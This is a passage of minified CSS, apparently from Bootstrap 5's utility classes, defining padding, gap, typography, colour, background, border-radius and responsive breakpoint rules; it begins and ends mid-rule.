-right:0!important}.pe-1{padding-right:.25rem!important}.pe-2{padding-right:.5rem!important}.pe-3{padding-right:1rem!important}.pe-4{padding-right:1.5rem!important}.pe-5{padding-right:3rem!important}.pb-0{padding-bottom:0!important}.pb-1{padding-bottom:.25rem!important}.pb-2{padding-bottom:.5rem!important}.pb-3{padding-bottom:1rem!important}.pb-4{padding-bottom:1.5rem!important}.pb-5{padding-bottom:3rem!important}.ps-0{padding-left:0!important}.ps-1{padding-left:.25rem!important}.ps-2{padding-left:.5rem!important}.ps-3{padding-left:1rem!important}.ps-4{padding-left:1.5rem!important}.ps-5{padding-left:3rem!important}.gap-0{gap:0!important}.gap-1{gap:.25rem!important}.gap-2{gap:.5rem!important}.gap-3{gap:1rem!important}.gap-4{gap:1.5rem!important}.gap-5{gap:3rem!important}.font-monospace{font-family:var(--bs-font-monospace)!important}.fs-1{font-size:calc(1.375rem + 1.5vw)!important}.fs-2{font-size:calc(1.325rem + .9vw)!important}.fs-3{font-size:calc(1.3rem + .6vw)!important}.fs-4{font-size:calc(1.275rem + .3vw)!important}.fs-5{font-size:1.25rem!important}.fs-6{font-size:1rem!important}.fst-italic{font-style:italic!important}.fst-normal{font-style:normal!important}.fw-light{font-weight:300!important}.fw-lighter{font-weight:lighter!important}.fw-normal{font-weight:400!important}.fw-bold{font-weight:700!important}.fw-semibold{font-weight:600!important}.fw-bolder{font-weight:bolder!important}.lh-1{line-height:1!important}.lh-sm{line-height:1.25!important}.lh-base{line-height:1.5!important}.lh-lg{line-height:2!important}.text-start{text-align:left!important}.text-end{text-align:right!important}.text-center{text-align:center!important}.text-decoration-none{text-decoration:none!important}.text-decoration-underline{text-decoration:underline!important}.text-decoration-line-through{text-decoration:line-through!important}.text-lowercase{text-transform:lowercase!important}.text-uppercase{text-transform:uppercase!important}.text-capitalize{text-transform:capitalize!important}.text-wrap{white-space:normal!important}.text-nowrap{white-space:nowrap!important}.text-break{word-wrap:break-word!important;word-break:break-word!important}.text-primary{--bs-text-opacity:1;color:rgba(var(--bs-primary-rgb),var(--bs-text-opacity))!important}.text-secondary{--bs-text-opacity:1;color:rgba(var(--bs-secondary-rgb),var(--bs-text-opacity))!important}.text-success{--bs-text-opacity:1;color:rgba(var(--bs-success-rgb),var(--bs-text-opacity))!important}.text-info{--bs-text-opacity:1;color:rgba(var(--bs-info-rgb),var(--bs-text-opacity))!important}.text-warning{--bs-text-opacity:1;color:rgba(var(--bs-warning-rgb),var(--bs-text-opacity))!important}.text-danger{--bs-text-opacity:1;color:rgba(var(--bs-danger-rgb),var(--bs-text-opacity))!important}.text-light{--bs-text-opacity:1;color:rgba(var(--bs-light-rgb),var(--bs-text-opacity))!important}.text-dark{--bs-text-opacity:1;color:rgba(var(--bs-dark-rgb),var(--bs-text-opacity))!important}.text-black{--bs-text-opacity:1;color:rgba(var(--bs-black-rgb),var(--bs-text-opacity))!important}.text-white{--bs-text-opacity:1;color:rgba(var(--bs-white-rgb),var(--bs-text-opacity))!important}.text-body{--bs-text-opacity:1;color:rgba(var(--bs-body-color-rgb),var(--bs-text-opacity))!important}.text-muted{--bs-text-opacity:1;color:rgba(var(--bs-body-color-rgb),.75)!important}.text-black-50{--bs-text-opacity:1;color:rgba(0,0,0,.5)!important}.text-white-50{--bs-text-opacity:1;color:rgba(255,255,255,.5)!important}.text-reset{--bs-text-opacity:1;color:inherit!important}.text-opacity-25{--bs-text-opacity:0.25}.text-opacity-50{--bs-text-opacity:0.5}.text-opacity-75{--bs-text-opacity:0.75}.text-opacity-100{--bs-text-opacity:1}.bg-primary{--bs-bg-opacity:1;background-color:rgba(var(--bs-primary-rgb),var(--bs-bg-opacity))!important}.bg-secondary{--bs-bg-opacity:1;background-color:rgba(var(--bs-secondary-rgb),var(--bs-bg-opacity))!important}.bg-success{--bs-bg-opacity:1;background-color:rgba(var(--bs-success-rgb),var(--bs-bg-opacity))!important}.bg-info{--bs-bg-opacity:1;background-color:rgba(var(--bs-info-rgb),var(--bs-bg-opacity))!important}.bg-warning{--bs-bg-opacity:1;background-color:rgba(var(--bs-warning-rgb),var(--bs-bg-opacity))!important}.bg-danger{--bs-bg-opacity:1;background-color:rgba(var(--bs-danger-rgb),var(--bs-bg-opacity))!important}.bg-light{--bs-bg-opacity:1;background-color:rgba(var(--bs-light-rgb),var(--bs-bg-opacity))!important}.bg-dark{--bs-bg-opacity:1;background-color:rgba(var(--bs-dark-rgb),var(--bs-bg-opacity))!important}.bg-black{--bs-bg-opacity:1;background-color:rgba(var(--bs-black-rgb),var(--bs-bg-opacity))!important}.bg-white{--bs-bg-opacity:1;background-color:rgba(var(--bs-white-rgb),var(--bs-bg-opacity))!important}.bg-body{--bs-bg-opacity:1;background-color:rgba(var(--bs-body-bg-rgb),var(--bs-bg-opacity))!important}.bg-transparent{--bs-bg-opacity:1;background-color:transparent!important}.bg-opacity-10{--bs-bg-opacity:0.1}.bg-opacity-25{--bs-bg-opacity:0.25}.bg-opacity-50{--bs-bg-opacity:0.5}.bg-opacity-75{--bs-bg-opacity:0.75}.bg-opacity-100{--bs-bg-opacity:1}.bg-gradient{background-image:var(--bs-gradient)!important}.user-select-all{-webkit-user-select:all!important;-moz-user-select:all!important;user-select:all!important}.user-select-auto{-webkit-user-select:auto!important;-moz-user-select:auto!important;user-select:auto!important}.user-select-none{-webkit-user-select:none!important;-moz-user-select:none!important;user-select:none!important}.pe-none{pointer-events:none!important}.pe-auto{pointer-events:auto!important}.rounded{border-radius:var(--bs-border-radius)!important}.rounded-0{border-radius:0!important}.rounded-1{border-radius:var(--bs-border-radius-sm)!important}.rounded-2{border-radius:var(--bs-border-radius)!important}.rounded-3{border-radius:var(--bs-border-radius-lg)!important}.rounded-4{border-radius:var(--bs-border-radius-xl)!important}.rounded-5{border-radius:var(--bs-border-radius-2xl)!important}.rounded-circle{border-radius:50%!important}.rounded-pill{border-radius:var(--bs-border-radius-pill)!important}.rounded-top{border-top-left-radius:var(--bs-border-radius)!important;border-top-right-radius:var(--bs-border-radius)!important}.rounded-end{border-top-right-radius:var(--bs-border-radius)!important;border-bottom-right-radius:var(--bs-border-radius)!important}.rounded-bottom{border-bottom-right-radius:var(--bs-border-radius)!important;border-bottom-left-radius:var(--bs-border-radius)!important}.rounded-start{border-bottom-left-radius:var(--bs-border-radius)!important;border-top-left-radius:var(--bs-border-radius)!important}.visible{visibility:visible!important}.invisible{visibility:hidden!important}@media (min-width:576px){.float-sm-start{float:left!important}.float-sm-end{float:right!important}.float-sm-none{float:none!important}.d-sm-inline{display:inline!important}.d-sm-inline-block{display:inline-block!important}.d-sm-block{display:block!important}.d-sm-grid{display:grid!important}.d-sm-table{display:table!important}.d-sm-table-row{display:table-row!important}.d-sm-table-cell{display:table-cell!important}.d-sm-flex{display:flex!important}.d-sm-inline-flex{display:inline-flex!important}.d-sm-none{display:none!important}.flex-sm-fill{flex:1 1 auto!important}.flex-sm-row{flex-direction:row!important}.flex-sm-column{flex-direction:column!important}.flex-sm-row-reverse{flex-direction:row-reverse!important}.flex-sm-column-reverse{flex-direction:column-reverse!important}.flex-sm-grow-0{flex-grow:0!important}.flex-sm-grow-1{flex-grow:1!important}.flex-sm-shrink-0{flex-shrink:0!important}.flex-sm-shrink-1{flex-shrink:1!important}.flex-sm-wrap{flex-wrap:wrap!important}.flex-sm-nowrap{flex-wrap:nowrap!important}.flex-sm-wrap-reverse{flex-wrap:wrap-reverse!important}.justify-content-sm-start{justify-content:flex-start!important}.justify-content-sm-end{justify-content:flex-end!important}.justify-content-sm-center{justify-content:center!important}.justify-content-sm-between{justify-content:space-between!important}.justify-content-sm-around{justify-content:space-around!important}.justify-content-sm-evenly{justify-content:space-evenly!important}.align-items-sm-start{align-items:flex-start!important}.align-items-sm-end{align-items:flex-end!important}.align-items-sm-center{align-items:center!important}.align-items-sm-baseline{align-items:baseline!important}.align-items-sm-stretch{align-items:stretch!important}.align-content-sm-start{align-content:flex-start!important}.align-content-sm-end{align-content:flex-end!important}.align-content-sm-center{align-content:center!important}.align-content-sm-between{align-content:space-between!important}.align-content-sm-around{align-content:space-around!important}.align-content-sm-stretch{align-content:stretch!important}.align-self-sm-auto{align-self:auto!important}.align-self-sm-start{align-self:flex-start!important}.align-self-sm-end{align-self:flex-end!important}.align-self-sm-center{align-self:center!important}.align-self-sm-baseline{align-self:baseline!important}.align-self-sm-stretch{align-self:stretch!important}.order-sm-first{order:-1!important}.order-sm-0{order:0!important}.order-sm-1{order:1!important}.order-sm-2{order:2!important}.order-sm-3{order:3!important}.order-sm-4{order:4!important}.order-sm-5{order:5!important}.order-sm-last{order:6!important}.m-sm-0{margin:0!important}.m-sm-1{margin:.25rem!important}.m-sm-2{margin:.5rem!important}.m-sm-3{margin:1rem!important}.m-sm-4{margin:1.5rem!important}.m-sm-5{margin:3rem!important}.m-sm-auto{margin:auto!important}.mx-sm-0{margin-right:0!important;margin-left:0!important}.mx-sm-1{margin-right:.25rem!important;margin-left:.25rem!important}.mx-sm-2{margin-right:.5rem!important;margin-left:.5rem!important}.mx-sm-3{margin-right:1rem!important;margin-left:1rem!important}.mx-sm-4{margin-right:1.5rem!important;margin-left:1.5rem!important}.mx-sm-5{margin-right:3rem!important;margin-left:3rem!important}.mx-sm-auto{margin-right:auto!important;margin-left:auto!important}.my-sm-0{margin-top:0!important;margin-bottom:0!important}.my-sm-1{margin-top:.25rem!important;margin-bottom:.25rem!important}.my-sm-2{margin-top:.5rem!important;margin-bottom:.5rem!important}.my-sm-3{margin-top:1rem!important;margin-bottom:1rem!important}.my-sm-4{margin-top:1.5rem!important;margin-bottom:1.5rem!important}.my-sm-5{margin-top:3rem!important;margin-bottom:3rem!important}.my-sm-auto{margin-top:auto!important;margin-bottom:auto!important}.mt-sm-0{margin-top:0!important}.mt-sm-1{margin-top:.25rem!important}.mt-sm-2{margin-top:.5rem!important}.mt-sm-3{margin-top:1rem!important}.mt-sm-4{margin-top:1.5rem!important}.mt-sm-5{margin-top:3rem!important}.mt-sm-auto{margin-top:auto!important}.me-sm-0{margin-right:0!important}.me-sm-1{margin-right:.25rem!important}.me-sm-2{margin-right:.5rem!important}.me-sm-3{margin-right:1rem!important}.me-sm-4{margin-right:1.5rem!important}.me-sm-5{margin-right:3rem!important}.me-sm-auto{margin-right:auto!important}.mb-sm-0{margin-bottom:0!important}.mb-sm-1{margin-bottom:.25rem!important}.mb-sm-2{margin-bottom:.5rem!important}.mb-sm-3{margin-bottom:1rem!important}.mb-sm-4{margin-bottom:1.5rem!important}.mb-sm-5{margin-bottom:3rem!important}.mb-sm-auto{margin-bottom:auto!important}.ms-sm-0{margin-left:0!important}.ms-sm-1{margin-left:.25rem!important}.ms-sm-2{margin-left:.5rem!important}.ms-sm-3{margin-left:1rem!important}.ms-sm-4{margin-left:1.5rem!important}.ms-sm-5{margin-left:3rem!important}.ms-sm-auto{margin-left:auto!important}.p-sm-0{padding:0!important}.p-sm-1{padding:.25rem!important}.p-sm-2{padding:.5rem!important}.p-sm-3{padding:1rem!important}.p-sm-4{padding:1.5rem!important}.p-sm-5{padding:3rem!important}.px-sm-0{padding-right:0!important;padding-left:0!important}.px-sm-1{padding-right:.25rem!important;padding-left:.25rem!important}.px-sm-2{padding-right:.5rem!important;padding-left:.5rem!important}.px-sm-3{padding-right:1rem!important;padding-left:1rem!important}.px-sm-4{padding-right:1.5rem!important;padding-left:1.5rem!important}.px-sm-5{padding-right:3rem!important;padding-left:3rem!important}.py-sm-0{padding-top:0!important;padding-bottom:0!important}.py-sm-1{padding-top:.25rem!important;padding-bottom:.25rem!important}.py-sm-2{padding-top:.5rem!important;padding-bottom:.5rem!important}.py-sm-3{padding-top:1rem!important;padding-bottom:1rem!important}.py-sm-4{padding-top:1.5rem!important;padding-bottom:1.5rem!important}.py-sm-5{padding-top:3rem!important;padding-bottom:3rem!important}.pt-sm-0{padding-top:0!important}.pt-sm-1{padding-top:.25rem!important}.pt-sm-2{padding-top:.5rem!important}.pt-sm-3{padding-top:1rem!important}.pt-sm-4{padding-top:1.5rem!important}.pt-sm-5{padding-top:3rem!important}.pe-sm-0{padding-right:0!important}.pe-sm-1{padding-right:.25rem!important}.pe-sm-2{padding-right:.5rem!important}.pe-sm-3{padding-right:1rem!important}.pe-sm-4{padding-right:1.5rem!important}.pe-sm-5{padding-right:3rem!important}.pb-sm-0{padding-bottom:0!important}.pb-sm-1{padding-bottom:.25rem!important}.pb-sm-2{padding-bottom:.5rem!important}.pb-sm-3{padding-bottom:1rem!important}.pb-sm-4{padding-bottom:1.5rem!important}.pb-sm-5{padding-bottom:3rem!important}.ps-sm-0{padding-left:0!important}.ps-sm-1{padding-left:.25rem!important}.ps-sm-2{padding-left:.5rem!important}.ps-sm-3{padding-left:1rem!important}.ps-sm-4{padding-left:1.5rem!important}.ps-sm-5{padding-left:3rem!important}.gap-sm-0{gap:0!important}.gap-sm-1{gap:.25rem!important}.gap-sm-2{gap:.5rem!important}.gap-sm-3{gap:1rem!important}.gap-sm-4{gap:1.5rem!important}.gap-sm-5{gap:3rem!important}.text-sm-start{text-align:left!important}.text-sm-end{text-align:right!important}.text-sm-center{text-align:center!important}}@media (min-width:768px){.float-md-start{float:left!important}.float-md-end{float:right!important}.float-md-none{float:none!important}.d-md-inline{display:inline!important}.d-md-inline-block{display:inline-block!important}.d-md-block{display:block!important}.d-md-grid{display:grid!important}.d-md-table{display:table!important}.d-md-table-row{display:table-row!important}.d-md-table-cell{display:table-cell!important}.d-md-flex{display:flex!important}.d-md-inline-flex{display:inline-flex!important}.d-md-none{display:none!important}.flex-md-fill{flex:1 1 auto!important}.flex-md-row{flex-direction:row!important}.flex-md-column{flex-direction:column!important}.flex-md-row-reverse{flex-direction:row-reverse!important}.flex-md-column-reverse{flex-direction:column-reverse!important}.flex-md-grow-0{flex-grow:0!important}.flex-md-grow-1{flex-grow:1!important}.flex-md-shrink-0{flex-shrink:0!important}.flex-md-shrink-1{flex-shrink:1!important}.flex-md-wrap{flex-wrap:wrap!important}.flex-md-nowrap{flex-wrap:nowrap!important}.flex-md-wrap-reverse{flex-wrap:wrap-reverse!important}.justify-content-md-start{justify-content:flex-start!important}.justify-content-md-end{justify-content:flex-end!important}.justify-content-md-center{justify-content:center!important}.justify-content-md-between{justify-content:space-between!important}.justify-content-md-around{justify-content:space-around!important}.justify-content-md-evenly{justify-content:space-evenly!important}.align-items-md-start{align-items:flex-start!important}.align-items-md-end{align-items:flex-end!important}.align-items-md-center{align-items:center!important}.align-items-md-baseline{align-items:baseline!important}.align-items-md-stretch{align-items:stretch!important}.align-content-md-start{align-content:flex-start!important}.align-content-md-end{align-content:flex-end!important}.align-content-md-center{align-content:center!important}.align-content-md-between{align-content:space-between!important}.align-content-md-around{align-content:space-around!important}.align-content-md-stretch{align-content:stretch!important}.align-self-md-auto{align-self:auto!important}.align-self-md-start{align-self:flex-start!important}.align-self-md-end{align-self:flex-end!important}.align-self-md-center{align-self:center!important}.align-self-md-baseline{align-self:baseline!important}.align-self-md-stretch{align-self:stretch!important}.order-md-first{order:-1!important}.order-md-0{order:0!important}.order-md-1{order:1!important}.order-md-2{order:2!important}.order-md-3{order:3!important}.order-md-4{order:4!important}.order-md-5{order:5!important}.order-md-last{order:6!important}.m-md-0{margin:0!important}.m-md-1{margin:.25rem!important}.m-md-2{margin:.5rem!important}.m-md-3{margin:1rem!important}.m-md-4{margin:1.5rem!important}.m-md-5{margin:3rem!important}.m-md-auto{margin:auto!important}.mx-md-0{margin-right:0!important;margin-left:0!important}.mx-md-1{margin-right:.25rem!important;margin-left:.25rem!important}.mx-md-2{margin-right:.5rem!important;margin-left:.5rem!important}.mx-md-3{margin-right:1rem!important;margin-left:1rem!important}.mx-md-4{margin-right:1.5rem!important;margin-left:1.5rem!important}.mx-md-5{margin-right:3rem!important;margin-left:3rem!important}.mx-md-auto{margin-right:auto!important;margin-left:auto!important}.my-md-0{margin-top:0!important;margin-bottom:0!important}.my-md-1{margin-top:.25rem!important;margin-bottom:.25rem!important}.my-md-2{margin-top:.5rem!important;margin-bottom:.5rem!important}.my-md-3{margin-top:1rem!important;margin-bottom:1rem!important}.my-md-4{margin-top:1.5rem!important;margin-bottom:1.5rem!important}.my-md-5{margin-top:3rem!important;margin-bottom:3rem!important}.my-md-auto{margin-top:auto!important;margin-bottom:auto!important}.mt-md-0{margin-top:0!important}.mt-md-1{margin-top:.25rem!important}.mt-md-2{margin-top:.5rem!important}.mt-md-3{margin-top:1rem!important}.mt-md-4{margin-top:1.5rem!important}.mt-md-5{margin-top:3rem!important}.mt-md-auto{margin-top:auto!important}.me-md-0{margin-right:0!important}.me-md-1{margin-right:.25rem!important}.me-md-2{margin-right:.5rem!important}.me-md-3{margin-right:1rem!important}.me-md-4{margin-right:1.5rem!important}.me-md-5{margin-right:3rem!important}.me-md-auto{margin-right:auto!important}.mb-md-0{margin-bottom:0!important}.mb-md-1{margin-bottom:.25rem!important}.mb-md-2{margin-bottom:.5rem!important}.mb-md-3{margin-bottom:1rem!important}.mb-md-4{margin-bottom:1.5rem!important}.mb-md-5{margin-bottom:3rem!important}.mb-md-auto{margin-bottom:auto!important}.ms-md-0{margin-left:0!important}.ms-md-1{margin-left:.25rem!important}.ms-md-2{margin-left:.5rem!important}.ms-md-3{margin-left:1rem!important}.ms-md-4{margin-left:1.5rem!important}.ms-md-5{margin-left:3rem!important}.ms-md-auto{margin-left:auto!important}.p-md-0{padding:0!important}.p-md-1{padding:.25rem!important}.p-md-2{padding:.5rem!important}.p-md-3{padding:1rem!important}.p-md-4{padding:1.5rem!important}.p-md-5{padding:3rem!important}.px-md-0{padding-right:0!important;padding-left:0!important}.px-md-1{padding-right:.25rem!important;padding-left:.25rem!important}.px-md-2{padding-right:.5rem!important;padding-left:.5rem!important}.px-md-3{padding-right:1rem!important;padding-left:1rem!important}.px-md-4{padding-right:1.5rem!important;padding-left:1.5rem!important}.px-md-5{padding-right:3rem!important;padding-left:3rem!important}.py-md-0{padding-top:0!important;padding-bottom:0!important}.py-md-1{padding-top:.25rem!important;padding-bottom:.25rem!important}.py-md-2{padding-top:.5rem!important;padding-bottom:.5rem!important}.py-md-3{padding-top:1rem!important;padding-bottom:1rem!important}.py-md-4{padding-top:1.5rem!important;padding-bottom:1.5rem!important}.py-md-5{padding-top:3rem!important;padding-bottom:3rem!important}.pt-md-0{padding-top:0!important}.pt-md-1{padding-top:.25rem!important}.pt-md-2{padding-top:.5rem!important}.pt-md-3{padding-top:1rem!important}.pt-md-4{padding-top:1.5rem!important}.pt-md-5{padding-top:3rem!important}.pe-md-0{padding-right:0!important}.pe-md-1{padding-right:.25rem!important}.pe-md-2{padding-right:.5rem!important}.pe-md-3{padding-right:1rem!important}.pe-md-4{padding-right:1.5rem!important}.pe-md-5{padding-right:3rem!important}.pb-md-0{padding-bottom:0!important}.pb-md-1{padding-bottom:.25rem!important}.pb-md-2{padding-bottom:.5rem!important}.pb-md-3{padding-bottom:1rem!important}.pb-md-4{padding-bottom:1.5rem!important}.pb-md-5{padding-bottom:3rem!important}.ps-md-0{padding-left:0!important}.ps-md-1{padding-left:.25rem!important}.ps-md-2{padding-left:.5rem!important}.ps-md-3{padding-left:1rem!important}.ps-md-4{padding-left:1.5rem!important}.ps-md-5{padding-left:3rem!important}.gap-md-0{gap:0!important}.gap-md-1{gap:.25rem!important}.gap-md-2{gap:.5rem!important}.gap-md-3{gap:1rem!important}.gap-md-4{gap:1.5rem!important}.gap-md-5{gap:3rem!important}.text-md-start{text-align:left!important}.text-md-end{text-align:right!important}.text-md-center{text-align:center!important}}@media (min-width:992px){.float-lg-start{float:left!important}.float-lg-end{float:right!important}.float-lg-none{float:none!important}.d-lg-inline{display:inline!important}.d-lg-inline-block{display:inline-block!important}.d-lg-block{display:block!important}.d-lg-grid{display:grid!important}.d-lg-table{display:table!important}.d-lg-table-row{display:table-row!important}.d-lg-table-cell{display:table-cell!important}.d-lg-flex{display:flex!important}.d-lg-inline-flex{display:inline-flex!important}.d-lg-none{display:none!important}.flex-lg-fill{flex:1 1 auto!important}.flex-lg-row{flex-direction:row!important}.flex-lg-column{flex-direction:column!important}.flex-lg-row-reverse{flex-direction:row-reverse!important}.flex-lg-column-reverse{flex-direction:column-reverse!important}.flex-lg-grow-0{flex-grow:0!important}.flex-lg-grow-1{flex-grow:1!important}.flex-lg-shrink-0{flex-shrink:0!important}.flex-lg-shrink-1{flex-shrink:1!important}.flex-lg-wrap{flex-wrap:wrap!important}.flex-lg-nowrap{flex-wrap:nowrap!important}.flex-lg-wrap-reverse{flex-wrap:wrap-reverse!important}.justify-content-lg-start{justify-content:flex-start!important}.justify-content-lg-end{justify-content:flex-end!important}.justify-content-lg-center{justify-content:center!important}.justify-content-lg-between{justify-content:space-between!important}.justify-content-lg-around{justify-content:space-around!important}.justify-content-lg-evenly{justify-content:space-evenly!important}.align-items-lg-start{align-items:flex-start!important}.align-items-lg-end{align-items:flex-end!important}.align-items-lg-center{align-items:center!important}.align-items-lg-baseline{align-items:baseline!important}.align-items-lg-stretch{align-items:stretch!important}.align-content-lg-start{align-content:flex-start!important}.align-content-lg-end{align-content:flex-end!important}.align-content-lg-center{align-content:center!important}.align-content-lg-between{align-content:space-between!important}.align-content-lg-around{align-content:space-around!important}.align-content-lg-stretch{align-content:stretch!important}.align-self-lg-auto{align-self:auto!important}.align-self-lg-start{align-self:flex-start!important}.align-self-lg-end{align-self:flex-end!important}.align-self-lg-center{align-self:center!important}.align-self-lg-baseline{align-self:baseline!important}.align-self-lg-stretch{align-self:stretch!important}.order-lg-first{order:-1!important}.order-lg-0{order:0!important}.order-lg-1{order:1!important}.order-lg-2{order:2!important}.order-lg-3{order:3!important}.order-lg-4{order:4!important}.order-lg-5{order:5!important}.order-lg-last{order:6!important}.m-lg-0{margin:0!important}.m-lg-1{margin:.25rem!important}.m-lg-2{margin:.5rem!important}.m-lg-3{margin:1rem!important}.m-lg-4{margin:1.5rem!important}.m-lg-5{margin:3rem!important}.m-lg-auto{margin:auto!important}.mx-lg-0{margin-right:0!important;margin-left:0!important}.mx-lg-1{margin-right:.25rem!important;margin-left:.25rem!important}.mx-lg-2{margin-right:.5rem!important;margin-left:.5rem!important}.mx-lg-3{margin-right:1rem!important;margin-left:1rem!important}.mx-lg-4{margin-right:1.5rem!important;margin-left:1.5rem!important}.mx-lg-5{margin-right:3rem!important;margin-left:3rem!important}.mx-lg-auto{margin-right:auto!important;margin-left:auto!important}.my-lg-0{margin-top:0!important;margin-bottom:0!important}.my-lg-1{margin-top:.25rem!important;margin-bottom:.25rem!important}.my-lg-2{margin-top:.5rem!important;margin-bottom:.5rem!important}.my-lg-3{margin-top:1rem!important;margin-bottom:1rem!important}.my-lg-4{margin-top:1.5rem!important;margin-bottom:1.5rem!important}.my-lg-5{margin-top:3rem!important;margin-bottom:3rem!important}.my-lg-auto{margin-top:auto!important;margin-bottom:auto!important}.mt-lg-0{margin-top:0!important}.mt-lg-1{margin-top:.25rem!important}.mt-lg-2{margin-top:.5rem!important}.mt-lg-3{margin-top:1rem!important}.mt-lg-4{margin-top:1.5rem!important}.mt-lg-5{margin-top:3rem!important}.mt-lg-auto{margin-top:auto!important}.me-lg-0{margin-right:0!important}.me-lg-1{margin-right:.25rem!important}.me-lg-2{margin-right:.5rem!important}.me-lg-3{margin-right:1rem!important}.me-lg-4{margin-right:1.5rem!important}.me-lg-5{margin-right:3rem!important}.me-lg-auto{margin-right:auto!important}.mb-lg-0{margin-bottom:0!important}.mb-lg-1{margin-bottom:.25rem!important}.mb-lg-2{margin-bottom:.5rem!important}.mb-lg-3{margin-bottom:1rem!important}.mb-lg-4{margin-bottom:1.5rem!important}.mb-lg-5{margin-bottom:3rem!important}.mb-lg-auto{margin-bottom:auto!important}.ms-lg-0{margin-left:0!important}.ms-lg-1{margin-left:.25rem!important}.ms-lg-2{margin-left:.5rem!important}.ms-lg-3{margin-left:1rem!important}.ms-lg-4{margin-left:1.5rem!important}.ms-lg-5{margin-left:3rem!important}.ms-lg-auto{margin-left:auto!important}.p-lg-0{padding:0!important}.p-lg-1{padding:.25rem!important}.p-lg-2{padding:.5rem!important}.p-lg-3{padding:1rem!important}.p-lg-4{padding:1.5rem!important}.p-lg-5{padding:3rem!important}.px-lg-0{padding-right:0!important;padding-left:0!important}.px-lg-1{padding-right:.25rem!important;padding-left:.25rem!important}.px-lg-2{padding-right:.5rem!important;padding-left:.5rem!important}.px-lg-3{padding-right:1rem!important;padding-left:1rem!important}.px-lg-4{padding-right:1.5rem!important;padding-left:1.5rem!important}.px-lg-5{padding-right:3rem!important;padding-left:3rem!important}.py-lg-0{padding-top:0!important;padding-bottom:0!important}.py-lg-1{padding-top:.25rem!important;padding-bottom:.25rem!important}.py-lg-2{padding-top:.5rem!important;padding-bottom:.5rem!important}.py-lg-3{padding-top:1rem!important;padding-bottom:1rem!important}.py-lg-4{padding-top:1.5rem!important;padding-bottom:1.5rem!important}.py-lg-5{padding-top:3rem!important;padding-bottom:3rem!important}.pt-lg-0{padding-top:0!important}.pt-lg-1{padding-top:.25rem!important}.pt-lg-2{padding-top:.5rem!important}.pt-lg-3{padding-top:1rem!important}.pt-lg-4{padding-top:1.5rem!important}.pt-lg-5{padding-top:3rem!important}.pe-lg-0{padding-right:0!important}.pe-lg-1{padding-right:.25rem!important}.pe-lg-2{padding-right:.5rem!important}.pe-lg-3{padding-right:1rem!important}.pe-lg-4{padding-right:1.5rem!important}.pe-lg-5{padding-right:3rem!important}.pb-lg-0{padding-bottom:0!important}.pb-lg-1{padding-bottom:.25rem!important}.pb-lg-2{padding-bottom:.5rem!important}.pb-lg-3{padding-bottom:1rem!important}.pb-lg-4{padding-bottom:1.5rem!important}.pb-lg-5{padding-bottom:3rem!important}.ps-lg-0{padding-left:0!important}.ps-lg-1{padding-left:.25rem!important}.ps-lg-2{padding-left:.5rem!important}.ps-lg-3{padding-left:1rem!important}.ps-lg-4{padding-left:1.5rem!important}.ps-lg-5{padding-left:3rem!important}.gap-lg-0{gap:0!important}.gap-lg-1{gap:.25rem!important}.gap-lg-2{gap:.5rem!important}.gap-lg-3{gap:1rem!important}.gap-lg-4{gap:1.5rem!important}.gap-lg-5{gap:3rem!important}.text-lg-start{text-align:left!important}.text-lg-end{text-align:right!important}.text-lg-center{text-align:center!important}}@media (min-width:1200px){.float-xl-start{float:left!important}.float-xl-end{float:right!important}.float-xl-none{float:none!important}.d-xl-inline{display:inline!important}.d-xl-inline-block{display:inline-block!important}.d-xl-block{display:block!important}.d-xl-grid{display:grid!important}.d-xl-table{display:table!important}.d-xl-table-row{display:table-row!important}.d-xl-table-cell{display:table-cell!important}.d-xl-flex{display:flex!important}.d-xl-inline-flex{display:inline-flex!important}.d-xl-none{display:none!important}.flex-xl-fill{flex:1 1 auto!important}.flex-xl-row{flex-direction:row!important}.flex-xl-column{flex-direction:column!important}.flex-xl-row-reverse{flex-direction:row-reverse!important}.flex-xl-column-reverse{flex-direction:column-reverse!important}.flex-xl-grow-0{flex-grow:0!important}.flex-xl-grow-1{flex-grow:1!important}.flex-xl-shrink-0{flex-shrink:0!important}.flex-xl-shrink-1{flex-shrink:1!important}.flex-xl-wrap{flex-wrap:wrap!important}.flex-xl-nowrap{flex-wrap:nowrap!important}.flex-xl-wrap-reverse{flex-wrap:wrap-reverse!important}.justify-content-xl-start{justify-content:flex-start!important}.justify-content-xl-end{justify-content:flex-end!important}.justify-content-xl-center{justify-content:center!important}.justify-content-xl-between{justify-content:space-between!important}.justify-content-xl-around{justify-content:space-around!important}.justify-content-xl-evenly{justify-content:space-evenly!important}.align-items-xl-start{align-items:flex-start!important}.align-items-xl-end{align-items:flex-end!important}.align-items-xl-center{align-items:center!important}.align-items-xl-baseline{align-items:baseline!important}.align-items-xl-stretch{align-items:stretch!important}.align-content-xl-start{align-content:flex-start!important}.align-content-xl-end{align-content:flex-end!important}.align-content-xl-center{align-content:center!important}.align-content-xl-between{align-content:space-between!important}.align-content-xl-around{align-content:space-around!important}.align-content-xl-stretch{align-content:stretch!important}.align-self-xl-auto{align-self:auto!important}.align-self-xl-start{align-self:flex-start!important}.align-self-xl-end{align-self:flex-end!important}.align-self-xl-center{align-self:center!important}.align-self-xl-baseline{align-self:baseline!important}.align-self-xl-stretch{align-self:stretch!important}.order-xl-first{order:-1!important}.order-xl-0{order:0!important}.order-xl-1{order:1!important}.order-xl-2{order:2!important}.order-xl-3{order:3!important}.order-xl-4{order:4!important}.order-xl-5{order:5!important}.order-xl-last{order:6!important}.m-xl-0{margin:0!important}.m-xl-1{margin:.25rem!important}.m-xl-2{margin:.5rem!important}.m-xl-3{margin:1rem!important}.m-xl-4{margin:1.5rem!important}.m-xl-5{margin:3rem!important}.m-xl-auto{margin:auto!important}.mx-xl-0{margin-right:0!important;margin-left:0!important}.mx-xl-1{margin-right:.25rem!important;margin-left:.25rem!important}.mx-xl-2{margin-right:.5rem!important;margin-left:.5rem!important}.mx-xl-3{margin-right:1rem!important;margin-left:1rem!important}.mx-xl-4{margin-right:1.5rem!important;margin-left:1.5rem!important}.mx-xl-5{margin-right:3rem!important;margin-left:3rem!important}.mx-xl-auto{margin-right:auto!important;margin-left:auto!important}.my-xl-0{margin-top:0!important;margin-bottom:0!important}.my-xl-1{margin-top:.25rem!important;margin-bottom:.25rem!important}.my-xl-2{margin-top:.5rem!important;margin-bottom:.5rem!important}.my-xl-3{margin-top:1rem!important;margin-bottom:1rem!important}.my-xl-4{margin-top:1.5rem!important;margin-bottom:1.5rem!important}.my-xl-5{margin-top:3rem!important;margin-bottom:3rem!important}.my-xl-auto{margin-top:auto!important;margin-bottom:auto!important}.mt-xl-0{margin-top:0!important}.mt-xl-1{margin-top:.25rem!important}.mt-xl-2{margin-top:.5rem!im